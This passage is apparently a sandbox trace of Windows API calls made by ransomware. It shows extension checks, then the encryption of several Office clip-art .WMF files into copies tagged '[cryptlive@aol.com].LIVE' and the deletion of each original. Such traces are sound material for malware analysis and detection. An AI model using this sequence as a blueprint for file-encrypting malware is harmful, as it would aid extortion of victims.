(lpString=".xlsx") returned 5 [0143.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.722] lstrlenW (lpString=".ppt") returned 4 [0143.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0143.722] lstrlenW (lpString=".zip") returned 4 [0143.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.722] lstrlenW (lpString=".rar") returned 4 [0143.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.722] lstrlenW (lpString=".bz2") returned 4 [0143.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.722] lstrlenW (lpString=".7z") returned 3 [0143.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0143.722] lstrlenW (lpString=".dbf") returned 4 [0143.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0143.722] lstrlenW (lpString=".1cd") returned 4 [0143.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0143.722] lstrlenW (lpString=".jpg") returned 4 [0143.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0143.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0143.722] lstrlenW (lpString=".doc") returned 4 [0143.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.722] lstrlenW (lpString=".docx") returned 5 [0143.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.722] lstrlenW (lpString=".pdf") returned 4 [0143.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.722] lstrlenW (lpString=".xls") returned 4 [0143.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.723] lstrlenW (lpString=".xlsx") returned 5 [0143.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.723] lstrlenW (lpString=".ppt") returned 4 [0143.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0143.723] lstrlenW (lpString=".zip") returned 4 [0143.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.723] lstrlenW (lpString=".rar") returned 4 [0143.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.723] lstrlenW (lpString=".bz2") returned 4 [0143.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.723] lstrlenW (lpString=".7z") returned 3 [0143.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0143.723] lstrlenW (lpString=".dbf") returned 4 [0143.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0143.723] lstrlenW (lpString=".1cd") returned 4 [0143.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0143.723] lstrlenW (lpString=".jpg") returned 4 [0143.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.723] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.723] lstrlenW (lpString="FD00586_.WMF") returned 12 [0143.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0143.726] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=752) returned 1 [0143.726] CloseHandle (hObject=0x3b4) returned 1 [0143.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x20 [0143.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0143.726] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.726] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0143.727] GetLastError () returned 0x0 [0143.727] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x2f0, lpOverlapped=0x0) returned 1 [0143.769] WriteFile (in: hFile=0x394, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x300, lpOverlapped=0x0) returned 1 [0143.770] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.770] WriteFile (in: hFile=0x394, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.770] SetEndOfFile (hFile=0x394) returned 1 [0143.770] CloseHandle (hObject=0x394) returned 1 [0143.770] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.770] SetEndOfFile (hFile=0x3b4) returned 1 [0143.772] CloseHandle (hObject=0x3b4) returned 1 [0143.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0143.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0143.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0143.773] lstrlenW (lpString=".doc") returned 4 [0143.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.773] lstrlenW (lpString=".docx") returned 5 [0143.773] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.773] lstrlenW (lpString=".pdf") returned 4 [0143.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.774] lstrlenW (lpString=".xls") returned 4 [0143.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.774] lstrlenW (lpString=".xlsx") returned 5 [0143.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.774] lstrlenW (lpString=".ppt") returned 4 [0143.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0143.774] lstrlenW (lpString=".zip") returned 4 [0143.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.774] lstrlenW (lpString=".rar") returned 4 [0143.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.774] lstrlenW (lpString=".bz2") returned 4 [0143.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.774] lstrlenW (lpString=".7z") returned 3 [0143.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0143.774] lstrlenW (lpString=".dbf") returned 4 [0143.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0143.774] lstrlenW (lpString=".1cd") returned 4 [0143.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0143.774] lstrlenW (lpString=".jpg") returned 4 [0143.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0143.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0143.774] lstrlenW (lpString=".doc") returned 4 [0143.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.774] lstrlenW (lpString=".docx") returned 5 [0143.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.774] lstrlenW (lpString=".pdf") returned 4 [0143.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.774] lstrlenW (lpString=".xls") returned 4 [0143.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.775] lstrlenW (lpString=".xlsx") returned 5 [0143.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.775] lstrlenW (lpString=".ppt") returned 4 [0143.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0143.775] lstrlenW (lpString=".zip") returned 4 [0143.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.775] lstrlenW (lpString=".rar") returned 4 [0143.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.775] lstrlenW (lpString=".bz2") returned 4 [0143.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.775] lstrlenW (lpString=".7z") returned 3 [0143.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0143.775] lstrlenW (lpString=".dbf") returned 4 [0143.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0143.775] lstrlenW (lpString=".1cd") returned 4 [0143.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0143.775] lstrlenW (lpString=".jpg") returned 4 [0143.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.775] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.775] lstrlenW (lpString="FD00799_.WMF") returned 12 [0143.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0143.785] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=13968) returned 1 [0143.785] CloseHandle (hObject=0x2f8) returned 1 [0143.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x20 [0143.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.793] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.793] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0143.794] GetLastError () returned 0x0 [0143.794] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x3690, lpOverlapped=0x0) returned 1 [0143.796] WriteFile (in: hFile=0x2f8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x36a0, lpOverlapped=0x0) returned 1 [0143.797] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.797] WriteFile (in: hFile=0x2f8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.798] SetEndOfFile (hFile=0x2f8) returned 1 [0143.798] CloseHandle (hObject=0x2f8) returned 1 [0143.798] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.798] SetEndOfFile (hFile=0x384) returned 1 [0143.800] CloseHandle (hObject=0x384) returned 1 [0143.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0143.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0143.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0143.801] lstrlenW (lpString=".doc") returned 4 [0143.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.801] lstrlenW (lpString=".docx") returned 5 [0143.801] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.801] lstrlenW (lpString=".pdf") returned 4 [0143.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.801] lstrlenW (lpString=".xls") returned 4 [0143.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.801] lstrlenW (lpString=".xlsx") returned 5 [0143.801] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.802] lstrlenW (lpString=".ppt") returned 4 [0143.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0143.802] lstrlenW (lpString=".zip") returned 4 [0143.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.802] lstrlenW (lpString=".rar") returned 4 [0143.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.802] lstrlenW (lpString=".bz2") returned 4 [0143.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.802] lstrlenW (lpString=".7z") returned 3 [0143.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0143.802] lstrlenW (lpString=".dbf") returned 4 [0143.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0143.802] lstrlenW (lpString=".1cd") returned 4 [0143.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0143.802] lstrlenW (lpString=".jpg") returned 4 [0143.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0143.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0143.802] lstrlenW (lpString=".doc") returned 4 [0143.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.802] lstrlenW (lpString=".docx") returned 5 [0143.802] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.802] lstrlenW (lpString=".pdf") returned 4 [0143.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.802] lstrlenW (lpString=".xls") returned 4 [0143.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.802] lstrlenW (lpString=".xlsx") returned 5 [0143.802] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.802] lstrlenW (lpString=".ppt") returned 4 [0143.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0143.803] lstrlenW (lpString=".zip") returned 4 [0143.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.803] lstrlenW (lpString=".rar") returned 4 [0143.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.803] lstrlenW (lpString=".bz2") returned 4 [0143.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.803] lstrlenW (lpString=".7z") returned 3 [0143.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0143.803] lstrlenW (lpString=".dbf") returned 4 [0143.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0143.803] lstrlenW (lpString=".1cd") returned 4 [0143.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0143.803] lstrlenW (lpString=".jpg") returned 4 [0143.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.803] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.803] lstrlenW (lpString="FD00814_.WMF") returned 12 [0143.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.804] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=42704) returned 1 [0143.804] CloseHandle (hObject=0x384) returned 1 [0143.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x20 [0143.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.804] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.804] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0143.805] GetLastError () returned 0x0 [0143.805] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xa6d0, lpOverlapped=0x0) returned 1 [0143.807] WriteFile (in: hFile=0x2f8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xa6e0, lpOverlapped=0x0) returned 1 [0143.809] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.809] WriteFile (in: hFile=0x2f8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.809] SetEndOfFile (hFile=0x2f8) returned 1 [0143.809] CloseHandle (hObject=0x2f8) returned 1 [0143.809] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.809] SetEndOfFile (hFile=0x384) returned 1 [0143.822] CloseHandle (hObject=0x384) returned 1 [0143.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0143.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0143.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0143.852] lstrlenW (lpString=".doc") returned 4 [0143.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.852] lstrlenW (lpString=".docx") returned 5 [0143.852] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.852] lstrlenW (lpString=".pdf") returned 4 [0143.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.852] lstrlenW (lpString=".xls") returned 4 [0143.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.852] lstrlenW (lpString=".xlsx") returned 5 [0143.852] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.852] lstrlenW (lpString=".ppt") returned 4 [0143.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0143.852] lstrlenW (lpString=".zip") returned 4 [0143.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.852] lstrlenW (lpString=".rar") returned 4 [0143.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.852] lstrlenW (lpString=".bz2") returned 4 [0143.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.852] 